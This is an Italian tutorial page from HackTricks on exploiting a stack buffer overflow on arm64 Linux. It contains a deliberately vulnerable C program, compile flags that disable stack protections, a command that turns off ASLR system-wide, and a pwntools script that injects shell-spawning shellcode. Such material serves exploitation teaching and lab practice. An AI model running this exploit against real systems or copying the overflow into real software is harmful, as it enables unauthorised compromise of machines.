Stack Shellcode - arm64
Reading time: 3 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Trova un'introduzione ad arm64 in:
Linux
Codice
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Compilare senza pie, canary e nx:
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
Nessun ASLR & nessun canary - Stack Overflow
Per disabilitare ASLR esegui:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Per ottenere l'offset del bof consulta questo link.
Exploit:
from pwn import *
# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)
# Generate shellcode
shellcode = asm(shellcraft.sh())
# Start the process
p = process(binary_name)
# Offset to return address
offset = 72
# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)
# Craft the payload
payload = b'A' * offset + ret_address + shellcode
print("Payload length: "+ str(len(payload)))
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
L'unica cosa "complicata" da trovare qui sarebbe l'indirizzo nello stack da chiamare. Nel mio caso ho generato l'exploit con l'indirizzo trovato usando gdb, ma poi durante lo sfruttamento non ha funzionato (perché l'indirizzo dello stack è cambiato un po').
Ho aperto il generato core
file (gdb ./bog ./core
) e controllato il vero indirizzo dell'inizio della shellcode.
macOS
tip
Non è possibile disabilitare NX in macOS perché in arm64 questa modalità è implementata a livello hardware, quindi non puoi disabilitarla; di conseguenza non troverai esempi con shellcode nello stack in macOS.
Guarda un esempio macOS di ret2win in:
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.